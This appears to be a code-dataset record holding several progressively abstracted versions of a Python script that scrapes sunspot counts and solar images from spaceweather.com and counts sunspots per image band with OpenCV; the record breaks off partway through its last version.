{}'.format(self.sections[3]), (20, 220), font, 1, (0, 0, 0), 2, cv2.LINE_AA) colorLow = np.array([0,0,90]) colorHigh = np.array([0,0,255]) mask = cv2.inRange(hsv, colorLow, colorHigh) image_contours[mask > 0] = (0, 0, 0) vis = np.concatenate((frame, image_contours), axis=1) cv2.imwrite('out/images/{}.png'.format(self.folder), vis) class Processor(): entries = [] def load(self): folders = os.listdir("data") for folder in folders: year = int(folder[:4]) month = int(folder[4:6]) day = int(folder[6:8]) date = datetime(year, month, day) image_name = "data/{}/image.png".format(folder) txt_name = "data/{}/data.txt".format(folder) txt_file = open(txt_name, 'r') content = txt_file.readlines() txt_file.close() number = int(content[0]) print(folder) entry = Entry(folder, date, number, image_name) entry.process() self.entries.append(entry) self.entries.sort(key=lambda x: x.date, reverse=False) def compute(self): for section in range(0, 4): total = 0 for entry in self.entries: total += entry.sections[section] average = float(total) / float(len(self.entries)) print('-------[Section {}]-------'.format(section + 1)) print('Total: {}'.format(total)) print('Average: {}'.format(average)) total = 0 sections_data = [["date", "section_1", "section_2", "section_3", "section_4"]] numbers_data = [["date", "reported", "visible"]] for entry in self.entries: total += entry.counted_sunspots sections_data.append([entry.date.strftime("%Y/%m/%d")] + entry.sections) numbers_data.append([entry.date.strftime("%Y/%m/%d")] + [entry.sunspots, entry.counted_sunspots]) average = float(total) / float(len(self.entries)) print('---------[TOTAL]---------') print('Total: {}'.format(total)) print('Average: {}'.format(average)) csv_file = open('out/sections.csv', 'w') writer = csv.writer(csv_file) writer.writerows(sections_data) csv_file.close() csv_file = open('out/numbers.csv', 'w') writer = csv.writer(csv_file) writer.writerows(numbers_data) csv_file.close() scraper = Scraper() scraper.scrape() processor = Processor() processor.load() processor.compute()
[ "from splinter import Browser\nfrom time import sleep\nfrom datetime import datetime, timedelta\nimport os, sys\nimport urllib\nimport cv2\nimport numpy as np\nfrom PIL import Image\nimport imutils\nimport csv\n\nclass Scraper():\n start_date = datetime(2018, 1, 8)\n url = 'http://spaceweather.com/'\n\n def scrape(self):\n self.browser = Browser('firefox')\n self.browser.driver.set_page_load_timeout(60)\n self.browser.visit(self.url)\n for day in self.get_days():\n self.scrape_day(day)\n\n def scrape_day(self, day):\n self.browser.select('month', day.strftime('%m'))\n self.browser.select('day', day.strftime('%d'))\n self.browser.select('year', day.strftime('%Y'))\n button = self.browser.find_by_name('view')\n button.click()\n text = self.browser.find_by_css('.solarWindText')[4].text\n number = int(text.split(' ')[2].strip())\n link = self.browser.find_link_by_partial_href('images{}/'.format(day.strftime('%Y')))['href']\n folder_name = \"data/{}{}{}\".format(day.strftime('%Y'), day.strftime('%m'), day.strftime('%d'))\n image_name = \"{}/image.gif\".format(folder_name)\n txt_name = \"{}/data.txt\".format(folder_name)\n os.mkdir(folder_name)\n urllib.urlretrieve(link, image_name)\n img = Image.open(image_name)\n img.save(\"{}/image.png\".format(folder_name), 'png', optimize=True, quality=70)\n txt_file = open(txt_name, 'w')\n txt_file.write(str(number))\n txt_file.close()\n print(\"Downloaded data for {}, sunspots: {}\".format(day.strftime('%m/%d/%Y'), number))\n\n\n def get_days(self):\n days = []\n for i in range(0, 8):\n base = self.start_date + timedelta(days=7 * i)\n first = base\n second = base + timedelta(days=2)\n third = base + timedelta(days=4)\n days.append(first)\n days.append(second)\n days.append(third)\n return days\n\nclass Entry():\n folder = None\n date = None\n sunspots = -1\n image_path = None\n counted_sunspots = 0\n sections = [0, 0, 0, 0]\n\n def nothing(self, *arg):\n pass\n\n def __init__(self, folder, date, sunspots, image_path):\n self.folder = folder\n self.date = date\n self.sunspots = sunspots\n self.image_path = image_path\n\n def process(self):\n frame = cv2.imread(self.image_path)\n height, width, channels = frame.shape\n frameBGR = cv2.GaussianBlur(frame, (1, 1), 0)\n hsv = cv2.cvtColor(frameBGR, cv2.COLOR_BGR2HSV)\n \n colorLow = np.array([0,90,80])\n colorHigh = np.array([10,255,255])\n mask = cv2.inRange(hsv, colorLow, colorHigh)\n result = cv2.bitwise_and(frame, frame, mask=mask)\n image_edged = cv2.Canny(mask, 50, 100)\n image_edged = cv2.dilate(image_edged, None, iterations=1)\n image_edged = cv2.erode(image_edged, None, iterations=1)\n cnts = cv2.findContours(image_edged.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n cnts = cnts[0] if imutils.is_cv2() else cnts[1]\n image_contours = cv2.bitwise_not(result)\n\n self.counted_sunspots = 0\n self.sections = [0, 0, 0, 0]\n section_1_start, section_1_end = 0, height/4\n section_2_start, section_2_end = height/4, height/4 * 2\n section_3_start, section_3_end = height/4 * 2, height/4 * 3\n section_4_start, section_4_end = height/4 * 3, height/4 * 4\n cv2.line(image_contours, (0, section_1_end), (width, section_1_end), (0, 0, 0), 5)\n cv2.line(image_contours, (0, section_2_end), (width, section_2_end), (0, 0, 0), 10)\n cv2.line(image_contours, (0, section_3_end), (width, section_3_end), (0, 0, 0), 5)\n cv2.circle(image_contours, (width/2, height/2), width/2, (0, 0, 0), 5)\n font = cv2.FONT_HERSHEY_SIMPLEX\n cv2.putText(image_contours, self.date.strftime('%a %b %d'), (20, 50), font, 2, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, self.date.strftime('SSN: {}'.format(self.sunspots)), (20, 100), font, 1.5, (0, 0, 0), 2, cv2.LINE_AA)\n\n for c in cnts:\n if cv2.contourArea(c) < 5:\n continue\n (x,y),radius = cv2.minEnclosingCircle(c)\n x = int(x)\n y = int(y)\n radius = int(radius)\n cv2.circle(image_contours, (x, y), radius, (100, 100, 255), -1)\n\n self.counted_sunspots = self.counted_sunspots + 1\n if y >= section_1_start and y <= section_1_end:\n #cv2.putText(image_contours, '1', (x, y - 10), font, 0.8, (100, 100, 255), 2, cv2.LINE_AA)\n self.sections[0] = self.sections[0] + 1\n elif y >= section_2_start and y <= section_2_end:\n #cv2.putText(image_contours, '2', (x, y - 10), font, 0.8, (100, 100, 255), 2, cv2.LINE_AA)\n self.sections[1] = self.sections[1] + 1\n elif y >= section_3_start and y <= section_3_end:\n #cv2.putText(image_contours, '3', (x, y - 10), font, 0.8, (100, 100, 255), 2, cv2.LINE_AA)\n self.sections[2] = self.sections[2] + 1\n elif y >= section_4_start and y <= section_4_end:\n #cv2.putText(image_contours, '4', (x, y - 10), font, 0.8, (100, 100, 255), 2, cv2.LINE_AA)\n self.sections[3] = self.sections[3] + 1\n print('Counted sunspots: {}'.format(self.counted_sunspots))\n print(self.sections)\n cv2.putText(image_contours, 'Section 1: {}'.format(self.sections[0]), (20, 130), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 2: {}'.format(self.sections[1]), (20, 160), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 3: {}'.format(self.sections[2]), (20, 190), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 4: {}'.format(self.sections[3]), (20, 220), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n\n colorLow = np.array([0,0,90])\n colorHigh = np.array([0,0,255])\n mask = cv2.inRange(hsv, colorLow, colorHigh)\n image_contours[mask > 0] = (0, 0, 0)\n vis = np.concatenate((frame, image_contours), axis=1)\n\n cv2.imwrite('out/images/{}.png'.format(self.folder), vis)\n\nclass Processor():\n entries = []\n \n def load(self):\n folders = os.listdir(\"data\")\n for folder in folders:\n year = int(folder[:4])\n month = int(folder[4:6])\n day = int(folder[6:8])\n date = datetime(year, month, day)\n image_name = \"data/{}/image.png\".format(folder)\n txt_name = \"data/{}/data.txt\".format(folder)\n txt_file = open(txt_name, 'r')\n content = txt_file.readlines()\n txt_file.close()\n number = int(content[0])\n print(folder)\n entry = Entry(folder, date, number, image_name)\n entry.process()\n self.entries.append(entry)\n self.entries.sort(key=lambda x: x.date, reverse=False)\n\n def compute(self):\n for section in range(0, 4):\n total = 0\n for entry in self.entries:\n total += entry.sections[section]\n average = float(total) / float(len(self.entries))\n print('-------[Section {}]-------'.format(section + 1))\n print('Total: {}'.format(total))\n print('Average: {}'.format(average))\n total = 0\n sections_data = [[\"date\", \"section_1\", \"section_2\", \"section_3\", \"section_4\"]]\n numbers_data = [[\"date\", \"reported\", \"visible\"]]\n for entry in self.entries:\n total += entry.counted_sunspots\n sections_data.append([entry.date.strftime(\"%Y/%m/%d\")] + entry.sections)\n numbers_data.append([entry.date.strftime(\"%Y/%m/%d\")] + [entry.sunspots, entry.counted_sunspots])\n average = float(total) / float(len(self.entries))\n print('---------[TOTAL]---------')\n print('Total: {}'.format(total))\n print('Average: {}'.format(average))\n csv_file = open('out/sections.csv', 'w')\n writer = csv.writer(csv_file)\n writer.writerows(sections_data)\n csv_file.close()\n csv_file = open('out/numbers.csv', 'w')\n writer = csv.writer(csv_file)\n writer.writerows(numbers_data)\n csv_file.close()\n\nscraper = Scraper()\nscraper.scrape()\nprocessor = Processor()\nprocessor.load()\nprocessor.compute()", "from splinter import Browser\nfrom time import sleep\nfrom datetime import datetime, timedelta\nimport os, sys\nimport urllib\nimport cv2\nimport numpy as np\nfrom PIL import Image\nimport imutils\nimport csv\n\n\nclass Scraper:\n start_date = datetime(2018, 1, 8)\n url = 'http://spaceweather.com/'\n\n def scrape(self):\n self.browser = Browser('firefox')\n self.browser.driver.set_page_load_timeout(60)\n self.browser.visit(self.url)\n for day in self.get_days():\n self.scrape_day(day)\n\n def scrape_day(self, day):\n self.browser.select('month', day.strftime('%m'))\n self.browser.select('day', day.strftime('%d'))\n self.browser.select('year', day.strftime('%Y'))\n button = self.browser.find_by_name('view')\n button.click()\n text = self.browser.find_by_css('.solarWindText')[4].text\n number = int(text.split(' ')[2].strip())\n link = self.browser.find_link_by_partial_href('images{}/'.format(\n day.strftime('%Y')))['href']\n folder_name = 'data/{}{}{}'.format(day.strftime('%Y'), day.strftime\n ('%m'), day.strftime('%d'))\n image_name = '{}/image.gif'.format(folder_name)\n txt_name = '{}/data.txt'.format(folder_name)\n os.mkdir(folder_name)\n urllib.urlretrieve(link, image_name)\n img = Image.open(image_name)\n img.save('{}/image.png'.format(folder_name), 'png', optimize=True,\n quality=70)\n txt_file = open(txt_name, 'w')\n txt_file.write(str(number))\n txt_file.close()\n print('Downloaded data for {}, sunspots: {}'.format(day.strftime(\n '%m/%d/%Y'), number))\n\n def get_days(self):\n days = []\n for i in range(0, 8):\n base = self.start_date + timedelta(days=7 * i)\n first = base\n second = base + timedelta(days=2)\n third = base + timedelta(days=4)\n days.append(first)\n days.append(second)\n days.append(third)\n return days\n\n\nclass Entry:\n folder = None\n date = None\n sunspots = -1\n image_path = None\n counted_sunspots = 0\n sections = [0, 0, 0, 0]\n\n def nothing(self, *arg):\n pass\n\n def __init__(self, folder, date, sunspots, image_path):\n self.folder = folder\n self.date = date\n self.sunspots = sunspots\n self.image_path = image_path\n\n def process(self):\n frame = cv2.imread(self.image_path)\n height, width, channels = frame.shape\n frameBGR = cv2.GaussianBlur(frame, (1, 1), 0)\n hsv = cv2.cvtColor(frameBGR, cv2.COLOR_BGR2HSV)\n colorLow = np.array([0, 90, 80])\n colorHigh = np.array([10, 255, 255])\n mask = cv2.inRange(hsv, colorLow, colorHigh)\n result = cv2.bitwise_and(frame, frame, mask=mask)\n image_edged = cv2.Canny(mask, 50, 100)\n image_edged = cv2.dilate(image_edged, None, iterations=1)\n image_edged = cv2.erode(image_edged, None, iterations=1)\n cnts = cv2.findContours(image_edged.copy(), cv2.RETR_EXTERNAL, cv2.\n CHAIN_APPROX_SIMPLE)\n cnts = cnts[0] if imutils.is_cv2() else cnts[1]\n image_contours = cv2.bitwise_not(result)\n self.counted_sunspots = 0\n self.sections = [0, 0, 0, 0]\n section_1_start, section_1_end = 0, height / 4\n section_2_start, section_2_end = height / 4, height / 4 * 2\n section_3_start, section_3_end = height / 4 * 2, height / 4 * 3\n section_4_start, section_4_end = height / 4 * 3, height / 4 * 4\n cv2.line(image_contours, (0, section_1_end), (width, section_1_end),\n (0, 0, 0), 5)\n cv2.line(image_contours, (0, section_2_end), (width, section_2_end),\n (0, 0, 0), 10)\n cv2.line(image_contours, (0, section_3_end), (width, section_3_end),\n (0, 0, 0), 5)\n cv2.circle(image_contours, (width / 2, height / 2), width / 2, (0, \n 0, 0), 5)\n font = cv2.FONT_HERSHEY_SIMPLEX\n cv2.putText(image_contours, self.date.strftime('%a %b %d'), (20, 50\n ), font, 2, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, self.date.strftime('SSN: {}'.format(\n self.sunspots)), (20, 100), font, 1.5, (0, 0, 0), 2, cv2.LINE_AA)\n for c in cnts:\n if cv2.contourArea(c) < 5:\n continue\n (x, y), radius = cv2.minEnclosingCircle(c)\n x = int(x)\n y = int(y)\n radius = int(radius)\n cv2.circle(image_contours, (x, y), radius, (100, 100, 255), -1)\n self.counted_sunspots = self.counted_sunspots + 1\n if y >= section_1_start and y <= section_1_end:\n self.sections[0] = self.sections[0] + 1\n elif y >= section_2_start and y <= section_2_end:\n self.sections[1] = self.sections[1] + 1\n elif y >= section_3_start and y <= section_3_end:\n self.sections[2] = self.sections[2] + 1\n elif y >= section_4_start and y <= section_4_end:\n self.sections[3] = self.sections[3] + 1\n print('Counted sunspots: {}'.format(self.counted_sunspots))\n print(self.sections)\n cv2.putText(image_contours, 'Section 1: {}'.format(self.sections[0]\n ), (20, 130), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 2: {}'.format(self.sections[1]\n ), (20, 160), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 3: {}'.format(self.sections[2]\n ), (20, 190), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 4: {}'.format(self.sections[3]\n ), (20, 220), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n colorLow = np.array([0, 0, 90])\n colorHigh = np.array([0, 0, 255])\n mask = cv2.inRange(hsv, colorLow, colorHigh)\n image_contours[mask > 0] = 0, 0, 0\n vis = np.concatenate((frame, image_contours), axis=1)\n cv2.imwrite('out/images/{}.png'.format(self.folder), vis)\n\n\nclass Processor:\n entries = []\n\n def load(self):\n folders = os.listdir('data')\n for folder in folders:\n year = int(folder[:4])\n month = int(folder[4:6])\n day = int(folder[6:8])\n date = datetime(year, month, day)\n image_name = 'data/{}/image.png'.format(folder)\n txt_name = 'data/{}/data.txt'.format(folder)\n txt_file = open(txt_name, 'r')\n content = txt_file.readlines()\n txt_file.close()\n number = int(content[0])\n print(folder)\n entry = Entry(folder, date, number, image_name)\n entry.process()\n self.entries.append(entry)\n self.entries.sort(key=lambda x: x.date, reverse=False)\n\n def compute(self):\n for section in range(0, 4):\n total = 0\n for entry in self.entries:\n total += entry.sections[section]\n average = float(total) / float(len(self.entries))\n print('-------[Section {}]-------'.format(section + 1))\n print('Total: {}'.format(total))\n print('Average: {}'.format(average))\n total = 0\n sections_data = [['date', 'section_1', 'section_2', 'section_3',\n 'section_4']]\n numbers_data = [['date', 'reported', 'visible']]\n for entry in self.entries:\n total += entry.counted_sunspots\n sections_data.append([entry.date.strftime('%Y/%m/%d')] + entry.\n sections)\n numbers_data.append([entry.date.strftime('%Y/%m/%d')] + [entry.\n sunspots, entry.counted_sunspots])\n average = float(total) / float(len(self.entries))\n print('---------[TOTAL]---------')\n print('Total: {}'.format(total))\n print('Average: {}'.format(average))\n csv_file = open('out/sections.csv', 'w')\n writer = csv.writer(csv_file)\n writer.writerows(sections_data)\n csv_file.close()\n csv_file = open('out/numbers.csv', 'w')\n writer = csv.writer(csv_file)\n writer.writerows(numbers_data)\n csv_file.close()\n\n\nscraper = Scraper()\nscraper.scrape()\nprocessor = Processor()\nprocessor.load()\nprocessor.compute()\n", "<import token>\n\n\nclass Scraper:\n start_date = datetime(2018, 1, 8)\n url = 'http://spaceweather.com/'\n\n def scrape(self):\n self.browser = Browser('firefox')\n self.browser.driver.set_page_load_timeout(60)\n self.browser.visit(self.url)\n for day in self.get_days():\n self.scrape_day(day)\n\n def scrape_day(self, day):\n self.browser.select('month', day.strftime('%m'))\n self.browser.select('day', day.strftime('%d'))\n self.browser.select('year', day.strftime('%Y'))\n button = self.browser.find_by_name('view')\n button.click()\n text = self.browser.find_by_css('.solarWindText')[4].text\n number = int(text.split(' ')[2].strip())\n link = self.browser.find_link_by_partial_href('images{}/'.format(\n day.strftime('%Y')))['href']\n folder_name = 'data/{}{}{}'.format(day.strftime('%Y'), day.strftime\n ('%m'), day.strftime('%d'))\n image_name = '{}/image.gif'.format(folder_name)\n txt_name = '{}/data.txt'.format(folder_name)\n os.mkdir(folder_name)\n urllib.urlretrieve(link, image_name)\n img = Image.open(image_name)\n img.save('{}/image.png'.format(folder_name), 'png', optimize=True,\n quality=70)\n txt_file = open(txt_name, 'w')\n txt_file.write(str(number))\n txt_file.close()\n print('Downloaded data for {}, sunspots: {}'.format(day.strftime(\n '%m/%d/%Y'), number))\n\n def get_days(self):\n days = []\n for i in range(0, 8):\n base = self.start_date + timedelta(days=7 * i)\n first = base\n second = base + timedelta(days=2)\n third = base + timedelta(days=4)\n days.append(first)\n days.append(second)\n days.append(third)\n return days\n\n\nclass Entry:\n folder = None\n date = None\n sunspots = -1\n image_path = None\n counted_sunspots = 0\n sections = [0, 0, 0, 0]\n\n def nothing(self, *arg):\n pass\n\n def __init__(self, folder, date, sunspots, image_path):\n self.folder = folder\n self.date = date\n self.sunspots = sunspots\n self.image_path = image_path\n\n def process(self):\n frame = cv2.imread(self.image_path)\n height, width, channels = frame.shape\n frameBGR = cv2.GaussianBlur(frame, (1, 1), 0)\n hsv = cv2.cvtColor(frameBGR, cv2.COLOR_BGR2HSV)\n colorLow = np.array([0, 90, 80])\n colorHigh = np.array([10, 255, 255])\n mask = cv2.inRange(hsv, colorLow, colorHigh)\n result = cv2.bitwise_and(frame, frame, mask=mask)\n image_edged = cv2.Canny(mask, 50, 100)\n image_edged = cv2.dilate(image_edged, None, iterations=1)\n image_edged = cv2.erode(image_edged, None, iterations=1)\n cnts = cv2.findContours(image_edged.copy(), cv2.RETR_EXTERNAL, cv2.\n CHAIN_APPROX_SIMPLE)\n cnts = cnts[0] if imutils.is_cv2() else cnts[1]\n image_contours = cv2.bitwise_not(result)\n self.counted_sunspots = 0\n self.sections = [0, 0, 0, 0]\n section_1_start, section_1_end = 0, height / 4\n section_2_start, section_2_end = height / 4, height / 4 * 2\n section_3_start, section_3_end = height / 4 * 2, height / 4 * 3\n section_4_start, section_4_end = height / 4 * 3, height / 4 * 4\n cv2.line(image_contours, (0, section_1_end), (width, section_1_end),\n (0, 0, 0), 5)\n cv2.line(image_contours, (0, section_2_end), (width, section_2_end),\n (0, 0, 0), 10)\n cv2.line(image_contours, (0, section_3_end), (width, section_3_end),\n (0, 0, 0), 5)\n cv2.circle(image_contours, (width / 2, height / 2), width / 2, (0, \n 0, 0), 5)\n font = cv2.FONT_HERSHEY_SIMPLEX\n cv2.putText(image_contours, self.date.strftime('%a %b %d'), (20, 50\n ), font, 2, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, self.date.strftime('SSN: {}'.format(\n self.sunspots)), (20, 100), font, 1.5, (0, 0, 0), 2, cv2.LINE_AA)\n for c in cnts:\n if cv2.contourArea(c) < 5:\n continue\n (x, y), radius = cv2.minEnclosingCircle(c)\n x = int(x)\n y = int(y)\n radius = int(radius)\n cv2.circle(image_contours, (x, y), radius, (100, 100, 255), -1)\n self.counted_sunspots = self.counted_sunspots + 1\n if y >= section_1_start and y <= section_1_end:\n self.sections[0] = self.sections[0] + 1\n elif y >= section_2_start and y <= section_2_end:\n self.sections[1] = self.sections[1] + 1\n elif y >= section_3_start and y <= section_3_end:\n self.sections[2] = self.sections[2] + 1\n elif y >= section_4_start and y <= section_4_end:\n self.sections[3] = self.sections[3] + 1\n print('Counted sunspots: {}'.format(self.counted_sunspots))\n print(self.sections)\n cv2.putText(image_contours, 'Section 1: {}'.format(self.sections[0]\n ), (20, 130), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 2: {}'.format(self.sections[1]\n ), (20, 160), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 3: {}'.format(self.sections[2]\n ), (20, 190), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 4: {}'.format(self.sections[3]\n ), (20, 220), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n colorLow = np.array([0, 0, 90])\n colorHigh = np.array([0, 0, 255])\n mask = cv2.inRange(hsv, colorLow, colorHigh)\n image_contours[mask > 0] = 0, 0, 0\n vis = np.concatenate((frame, image_contours), axis=1)\n cv2.imwrite('out/images/{}.png'.format(self.folder), vis)\n\n\nclass Processor:\n entries = []\n\n def load(self):\n folders = os.listdir('data')\n for folder in folders:\n year = int(folder[:4])\n month = int(folder[4:6])\n day = int(folder[6:8])\n date = datetime(year, month, day)\n image_name = 'data/{}/image.png'.format(folder)\n txt_name = 'data/{}/data.txt'.format(folder)\n txt_file = open(txt_name, 'r')\n content = txt_file.readlines()\n txt_file.close()\n number = int(content[0])\n print(folder)\n entry = Entry(folder, date, number, image_name)\n entry.process()\n self.entries.append(entry)\n self.entries.sort(key=lambda x: x.date, reverse=False)\n\n def compute(self):\n for section in range(0, 4):\n total = 0\n for entry in self.entries:\n total += entry.sections[section]\n average = float(total) / float(len(self.entries))\n print('-------[Section {}]-------'.format(section + 1))\n print('Total: {}'.format(total))\n print('Average: {}'.format(average))\n total = 0\n sections_data = [['date', 'section_1', 'section_2', 'section_3',\n 'section_4']]\n numbers_data = [['date', 'reported', 'visible']]\n for entry in self.entries:\n total += entry.counted_sunspots\n sections_data.append([entry.date.strftime('%Y/%m/%d')] + entry.\n sections)\n numbers_data.append([entry.date.strftime('%Y/%m/%d')] + [entry.\n sunspots, entry.counted_sunspots])\n average = float(total) / float(len(self.entries))\n print('---------[TOTAL]---------')\n print('Total: {}'.format(total))\n print('Average: {}'.format(average))\n csv_file = open('out/sections.csv', 'w')\n writer = csv.writer(csv_file)\n writer.writerows(sections_data)\n csv_file.close()\n csv_file = open('out/numbers.csv', 'w')\n writer = csv.writer(csv_file)\n writer.writerows(numbers_data)\n csv_file.close()\n\n\nscraper = Scraper()\nscraper.scrape()\nprocessor = Processor()\nprocessor.load()\nprocessor.compute()\n", "<import token>\n\n\nclass Scraper:\n start_date = datetime(2018, 1, 8)\n url = 'http://spaceweather.com/'\n\n def scrape(self):\n self.browser = Browser('firefox')\n self.browser.driver.set_page_load_timeout(60)\n self.browser.visit(self.url)\n for day in self.get_days():\n self.scrape_day(day)\n\n def scrape_day(self, day):\n self.browser.select('month', day.strftime('%m'))\n self.browser.select('day', day.strftime('%d'))\n self.browser.select('year', day.strftime('%Y'))\n button = self.browser.find_by_name('view')\n button.click()\n text = self.browser.find_by_css('.solarWindText')[4].text\n number = int(text.split(' ')[2].strip())\n link = self.browser.find_link_by_partial_href('images{}/'.format(\n day.strftime('%Y')))['href']\n folder_name = 'data/{}{}{}'.format(day.strftime('%Y'), day.strftime\n ('%m'), day.strftime('%d'))\n image_name = '{}/image.gif'.format(folder_name)\n txt_name = '{}/data.txt'.format(folder_name)\n os.mkdir(folder_name)\n urllib.urlretrieve(link, image_name)\n img = Image.open(image_name)\n img.save('{}/image.png'.format(folder_name), 'png', optimize=True,\n quality=70)\n txt_file = open(txt_name, 'w')\n txt_file.write(str(number))\n txt_file.close()\n print('Downloaded data for {}, sunspots: {}'.format(day.strftime(\n '%m/%d/%Y'), number))\n\n def get_days(self):\n days = []\n for i in range(0, 8):\n base = self.start_date + timedelta(days=7 * i)\n first = base\n second = base + timedelta(days=2)\n third = base + timedelta(days=4)\n days.append(first)\n days.append(second)\n days.append(third)\n return days\n\n\nclass Entry:\n folder = None\n date = None\n sunspots = -1\n image_path = None\n counted_sunspots = 0\n sections = [0, 0, 0, 0]\n\n def nothing(self, *arg):\n pass\n\n def __init__(self, folder, date, sunspots, image_path):\n self.folder = folder\n self.date = date\n self.sunspots = sunspots\n self.image_path = image_path\n\n def process(self):\n frame = cv2.imread(self.image_path)\n height, width, channels = frame.shape\n frameBGR = cv2.GaussianBlur(frame, (1, 1), 0)\n hsv = cv2.cvtColor(frameBGR, cv2.COLOR_BGR2HSV)\n colorLow = np.array([0, 90, 80])\n colorHigh = np.array([10, 255, 255])\n mask = cv2.inRange(hsv, colorLow, colorHigh)\n result = cv2.bitwise_and(frame, frame, mask=mask)\n image_edged = cv2.Canny(mask, 50, 100)\n image_edged = cv2.dilate(image_edged, None, iterations=1)\n image_edged = cv2.erode(image_edged, None, iterations=1)\n cnts = cv2.findContours(image_edged.copy(), cv2.RETR_EXTERNAL, cv2.\n CHAIN_APPROX_SIMPLE)\n cnts = cnts[0] if imutils.is_cv2() else cnts[1]\n image_contours = cv2.bitwise_not(result)\n self.counted_sunspots = 0\n self.sections = [0, 0, 0, 0]\n section_1_start, section_1_end = 0, height / 4\n section_2_start, section_2_end = height / 4, height / 4 * 2\n section_3_start, section_3_end = height / 4 * 2, height / 4 * 3\n section_4_start, section_4_end = height / 4 * 3, height / 4 * 4\n cv2.line(image_contours, (0, section_1_end), (width, section_1_end),\n (0, 0, 0), 5)\n cv2.line(image_contours, (0, section_2_end), (width, section_2_end),\n (0, 0, 0), 10)\n cv2.line(image_contours, (0, section_3_end), (width, section_3_end),\n (0, 0, 0), 5)\n cv2.circle(image_contours, (width / 2, height / 2), width / 2, (0, \n 0, 0), 5)\n font = cv2.FONT_HERSHEY_SIMPLEX\n cv2.putText(image_contours, self.date.strftime('%a %b %d'), (20, 50\n ), font, 2, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, self.date.strftime('SSN: {}'.format(\n self.sunspots)), (20, 100), font, 1.5, (0, 0, 0), 2, cv2.LINE_AA)\n for c in cnts:\n if cv2.contourArea(c) < 5:\n continue\n (x, y), radius = cv2.minEnclosingCircle(c)\n x = int(x)\n y = int(y)\n radius = int(radius)\n cv2.circle(image_contours, (x, y), radius, (100, 100, 255), -1)\n self.counted_sunspots = self.counted_sunspots + 1\n if y >= section_1_start and y <= section_1_end:\n self.sections[0] = self.sections[0] + 1\n elif y >= section_2_start and y <= section_2_end:\n self.sections[1] = self.sections[1] + 1\n elif y >= section_3_start and y <= section_3_end:\n self.sections[2] = self.sections[2] + 1\n elif y >= section_4_start and y <= section_4_end:\n self.sections[3] = self.sections[3] + 1\n print('Counted sunspots: {}'.format(self.counted_sunspots))\n print(self.sections)\n cv2.putText(image_contours, 'Section 1: {}'.format(self.sections[0]\n ), (20, 130), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 2: {}'.format(self.sections[1]\n ), (20, 160), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 3: {}'.format(self.sections[2]\n ), (20, 190), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n cv2.putText(image_contours, 'Section 4: {}'.format(self.sections[3]\n ), (20, 220), font, 1, (0, 0, 0), 2, cv2.LINE_AA)\n colorLow = np.array([0, 0, 90])\n colorHigh = np.array([0, 0, 255])\n mask = cv2.inRange(hsv, colorLow, colorHigh)\n image_contours[mask > 0] = 0, 0, 0\n vis = np.concatenate((frame, image_contours), axis=1)\n cv2.imwrite('out/images/{}.png'.format(self.folder), vis)\n\n\nclass Processor:\n entries = []\n\n def load(self):\n folders = os.listdir('data')\n for folder in folders:\n year = int(folder[:4])\n month = int(folder[4:6])\n day = int(folder[6:8])\n date = datetime(year, month, day)\n image_name = 'data/{}/image.png'.format(folder)\n txt_name = 'data/{}/data.txt'.format(folder)\n txt_file = open(txt_name, 'r')\n content = txt_file.readlines()\n txt_file.close()\n number = int(content[0])\n print(folder)\n entry = Entry(folder, date, number, image_name)\n entry.process()\n self.entries.append(entry)\n self.entries.sort(key=lambda x: x.date, reverse=False)\n\n def compute(self):\n for section in range(0, 4):\n total = 0\n for entry in self.entries:\n total += entry.sections[section]\n average = float(total) / float(len(self.entries))\n print('-------[Section {}]-------'.format(section + 1))\n print('Total: {}'.format(total))\n print('Average: {}'.format(average))\n total = 0\n sections_data = [['date', 'section_1', 'section_2', 'section_3',\n 'section_4']]\n numbers_data = [['date', 'reported', 'visible']]\n for entry in self.entries:\n total += entry.counted_sunspots\n sections_data.append([entry.date.strftime('%Y/%m/%d')] + entry.\n sections)\n numbers_data.append([entry.date.strftime('%Y/%m/%d')] + [entry.\n sunspots, entry.counted_sunspots])\n average = float(total) / float(len(self.entries))\n print('---------[TOTAL]---------')\n print('Total: {}'.format(total))\n print('Average: {}'.format(average))\n csv_file = open('out/sections.csv', 'w')\n writer = csv.writer(csv_file)\n writer.writerows(sections_data)\n csv_file.close()\n csv_file = open('out/numbers.csv', 'w')\n writer = csv.writer(csv_file)\n writer.writerows(numbers_data)\n csv_file.close()\n\n\n<assignment token>\nscraper.scrape()\n<assignment token>\nprocessor.load()\nprocessor.compute()\n", "<import token>\n\n\nclass Scraper:\n start_date = datetime(2018, 1, 8)\n url = 'http://spaceweather.com/'\n\n def scrape(self):\n self.browser = Browser('firefox')\n self.browser.driver.set_page_load_timeout(60)\n self.browser.visit(self.url)\n for day in self.get_days():\n self.scrape_day(day)\n\n def scrape_day(self, day):\n self.browser.select('month', day.strftime('%m'))\n self.browser.select('day', day.strftime('%d'))\n self.browser.select('year', day.strftime('%Y'))\n button = self.browser.find_by_name('view')\n button.click()\n text = self.browser.find_by_css('.solarWindText')[4].text\n number = int(text.split(' ')[2].strip())\n link = self.browser.find_link_by_partial_href('images{}/'.format(\n 